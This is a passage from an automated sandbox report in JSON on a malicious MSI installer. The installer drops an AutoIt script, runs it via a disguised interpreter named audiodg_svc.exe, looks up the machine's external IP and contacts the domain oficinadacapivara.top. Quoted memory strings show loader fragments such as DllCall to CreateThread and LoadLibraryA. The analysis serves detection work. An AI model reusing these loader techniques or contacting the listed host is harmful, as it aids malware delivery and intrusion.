Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeInformationW\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Executes WMI queries","description":"\"audiodg_svc.exe\" issued a query \"SELECT * FROM Win32_ComputerSystem\"","origin":"API Call","mitre_attack_id":"T1047","relevance":10,"id":"api-56","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Found registry location string related to processor","description":"$40","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-351","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Queries the user identity associated with the current process token","description":"\"msiexec.exe\" queried token user identity (UID: 00000000-00001420)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-328","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"msiexec.exe\" queries volume information of an entire harddrive\"C:\\\" at 00000000-00001420-00000C17-983648840\n \"msiexec.exe\" queries volume information of \"C:\\share\" at 00000000-00001420-00000C17-984151390\n \"msiexec.exe\" queries volume information of an entire harddrive\"C:\\\" at 00000000-00007860-00000C17-984241342","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Reads system mouse configuration","description":"\"audiodg_svc.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\CONTROL PANEL\\MOUSE\";)\n \"audiodg_svc.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\CONTROL PANEL\\MOUSE\";)","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-202","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"audiodg_svc.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"audiodg_svc.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO External IP Address Lookup Domain (ipify .org) in TLS SNI\" (SID: 2047703, Rev: 1, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert - External IP Lookup","description":"Detected alert \"ET INFO External IP Address Lookup Domain (ipify .org) in TLS SNI\" (SID: 2047703, Rev: 1, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","mitre_attack_id":"T1016","relevance":3,"id":"suricata-4","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegConnectRegistryW\" in \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\"\n Found registry modification API: \"RegCreateKeyExW\" in \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$41","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"audiodg_svc.exe\" called \"CreateProcessW\" with parameter \"%LOCALAPPDATA%\\EfUdy1v3brSz\\audiodg_svc.exe /AutoIt3ExecuteScript \"%LOCALAPPDATA%\\EfUdy1v3brSz\\\\ox\" - (UID: 00000000-00004872)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$42","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$43","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"api.ipify.org\"\n \"oficinadacapivara.top\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"104.26.12.205:443\"\n \"104.21.54.21:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"SELECT * FROM Win32_ComputerSystem\" (Source: 00000000-00005172-00002715-1062106894, Indicator: \"select * from win32_computersystem\")\n \"SELECT * FROM Win32_ComputerSystem\" (Source: 00000000-00005172.00000000.168279.00C04000.00000004.mdmp, 00000000-00005172.00000001.170200.00C04000.00000004.mdmp, 00000000-00005172.00000002.172121.00C04000.00000004.mdmp, 00000000-00005172.00000003.174592.00C04000.00000004.mdmp, Indicator: \"select * from win32_computersystem\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"CreateProcessAsUserW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"CreateProcessWithLogonW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"IcmpCreateFile\" (Indicator: \"CreateFile\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$44","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteW\" (Indicator: \"ShellExecute\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Contains ability to impersonate another user on the local machine (API string)","description":"Found reference to API \"LoadUserProfileW\" (Indicator: \"LoadUserProfile\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"LogonUserW\" (Indicator: \"LogonUser\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-225","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Contains ability to register hotkeys (API string)","description":"Found reference to API \"RegisterHotKey\" (Indicator: \"RegisterHotKey\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1547.009","relevance":1,"id":"string-545","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"ocal $aThread = DllCall($hKernel32, \"handle\", \"CreateThread\", \"ptr\", 0, \"ulong_ptr\", 0, \"ptr\", $pPontoEntrada, \"ptr\", 0, \"dword\", 0, \"dword*\", 0)\" (Indicator: \"CreateThread\"; Source: \"00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Contains reference to method used by Windows shell items (API string)","description":"Found reference to API \"SHFileOperationW\" (Indicator: \"SHFileOperation\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-269","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$45","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$46","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Found User Agent related strings","description":"$47","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$48","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$49","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"MsiExec.exe\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 738B0000","origin":"Loaded Module","mitre_attack_id":"T1685","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"msiexec.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at F9B10000\n \"msiexec.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at F8C00000\n \"MsiExec.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 756D0000\n \"MsiExec.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 740F0000\n \"audiodg_svc.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 756D0000\n \"audiodg_svc.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 740F0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"msiexec.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at CA240000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"msiexec.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at FA7A0000\n \"MsiExec.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76350000\n \"audiodg_svc.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76350000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"\"audiodg_svc.exe\" called \"WinHttp.WinHttpRequest.5.1.CreateObject\" ... \n \"audiodg_svc.exe\" called \"WinHttp.WinHttpRequest.5.1.SetTimeouts\" ... \n \"audiodg_svc.exe\" called \"WinHttp.WinHttpRequest.5.1.Open\" ... \n \"audiodg_svc.exe\" called \"WinHttp.WinHttpRequest.5.1.ResponseText\" with result: \"64.124.12.162\" ...\n \"audiodg_svc.exe\" called \"WinHttp.WinHttpRequest.5.1.SetRequestHeader\" ... \n \"audiodg_svc.exe\" called \"WinHttp.WinHttpRequest.5.1.Send\" ... ","origin":"API Call","mitre_attack_id":"T1059","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"G3d5duio.msi\" was detected as \"Microsoft Installer(MSI)\" and name: \"Installer\"\n \"G3d5duio.msi\" was detected as \"Microsoft Compound\" and name: \"Data\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$4a","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\system32\\cmd.exe\" [Source: 00000000-00005172-00000455-9279293542]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$4b","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"api.ipify.org\"\n \"oficinadacapivara.top\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"audiodg_svc.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"audiodg_svc.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"audiodg_svc.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"audiodg_svc.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"audiodg_svc.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"audiodg_svc.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"audiodg_svc.exe\" searching for class \"Shell_TrayWnd\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"msiexec.exe\" with commandline \"/V\" (UID: 00000000-00007860)\n Spawned process \"MsiExec.exe\" with commandline \"-Embedding 2B9EC86076203A0C98BF2E420AEFB398\" (UID: 00000000-00000848)\n Spawned process \"audiodg_svc.exe\" with commandline \"\"%LOCALAPPDATA%\\\\EfUdy1v3brSz\\\\msiexec.log\"\" (UID: 00000000-00004872)\n Spawned process \"audiodg_svc.exe\" with commandline \"/AutoIt3ExecuteScript \"%LOCALAPPDATA%\\\\EfUdy1v3brSz\\\\\\\\oxjrstqeo ...\" (UID: 00000000-00005172)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"msiexec.exe\" with commandline \"/V\" (UID: 00000000-00007860)\n Spawned process \"MsiExec.exe\" with commandline \"-Embedding 2B9EC86076203A0C98BF2E420AEFB398\" (UID: 00000000-00000848)\n Spawned process \"audiodg_svc.exe\" with commandline \"\"%LOCALAPPDATA%\\\\EfUdy1v3brSz\\\\msiexec.log\"\" (UID: 00000000-00004872)\n Spawned process \"audiodg_svc.exe\" with commandline \"/AutoIt3ExecuteScript \"%LOCALAPPDATA%\\\\EfUdy1v3brSz\\\\\\\\oxjrstqeo ...\" (UID: 00000000-00005172)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=WE1, O=Google Trust Services, C=US\" (SHA1: 56:5E:58:66:08:14:37:CD:B8:B5:82:D8:8F:94:96:06:7D:90:65:7B; see report for more information)\n The input sample is signed with a certificate issued by \"CN=GTS Root R4, O=Google Trust Services LLC, C=US\" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information)\n The input sample is signed with a certificate issued by \"CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE\" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information)\n The input sample is signed with a certificate issued by \"CN=WE1, O=Google Trust Services, C=US\" (SHA1: 41:27:9D:84:78:60:28:77:5B:5D:36:F1:28:6A:E4:6E:5E:B3:2D:77; see report for more information)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"ocal $hModulo = DllCall($hKernel32, \"handle\", \"LoadLibraryA\", \"str\", $sNomeDLL)\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp, 00000000-00005172.00000003.174592.00B20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"msiexec.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"MsiExec.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"audiodg_svc.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"oxjrstqeoghk.au3\" has type \"Unicode text UTF-8 (with BOM) text\"- Location: [%LOCALAPPDATA%\\EfUdy1v3brSz\\oxjrstqeoghk.au3]- [targetUID: 00000000-00005172]\n \"executed.dat\" has type \"ASCII text with no line terminators\"- Location: [%LOCALAPPDATA%\\EfUdy1v3brSz\\executed.dat]- [targetUID: 00000000-00005172]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$4c","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"msiexec.exe\" queries basic process information of the \"C:\\Windows\\System32\\msiexec.exe\" (UID: 1420)\n \"msiexec.exe\" queries basic process information of the \"C:\\Windows\\System32\\msiexec.exe\" (UID: 7860)\n \"msiexec.exe\" queries basic process information of the \"C:\\Windows\\SysWOW64\\msiexec.exe\" (UID: 7860)\n \"msiexec.exe\" queries basic process information of the \"C:\\Users\\%OSUSER%\\AppData\\Local\\EfUdy1v3brSz\\audiodg_svc.exe\" (UID: 7860)\n \"MsiExec.exe\" queries basic process information of the \"C:\\Windows\\SysWOW64\\msiexec.exe\" (UID: 848)\n \"audiodg_svc.exe\" queries basic process information of the \"C:\\Users\\%OSUSER%\\AppData\\Local\\EfUdy1v3brSz\\audiodg_svc.exe\" (UID: 4872)\n \"audiodg_svc.exe\" queries basic process information of the 